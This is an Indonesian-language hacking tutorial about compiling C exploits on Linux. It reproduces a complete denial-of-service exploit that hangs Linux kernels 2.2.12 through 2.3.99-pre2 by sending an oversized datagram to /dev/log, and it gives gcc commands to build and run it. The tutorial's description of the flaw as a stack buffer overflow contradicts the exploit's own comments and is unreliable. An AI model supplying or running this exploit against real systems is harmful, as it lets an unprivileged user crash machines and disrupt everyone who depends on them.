Meng-compile Eksploit Dalam Bahasa C

Onno W. Purbo

Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.

Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:

	/usr/src/linux

Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.

Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.

/*            [http://b0f.morphed.net] - eth0                */
/*                                                       */
/* Vulnerable
  Linux 2.2.12
  Linux 2.2.13
  Linux 2.2.14
  Linux 2.3.99-pre2

  The following exploit code will hang any Linux machine on various
  Pentium platforms.

  Note that this does not require any special privileges, and any user
  Can compile and run it, so watch out kiddies...

  The send system call immediately puts the kernel in a loop spewing
  kmalloc: Size (131076) too large forever
  (or until you hit the reset button).

  Apparently UNIX domain sockets are ignoring the
  /proc/sys/net/core/wmem_max parameter,
  despite the documentation to the contrary.

 [code provided by eth0 from b0f security]
 [information provided by Jay Fenlason]
 [http://b0f.morphed.net]
 [buffer0verfl0w security]
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}

Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.

Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.

Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:

	$ gcc eksploit.c –o eksploit

maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:

	$ ./eksploit

Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.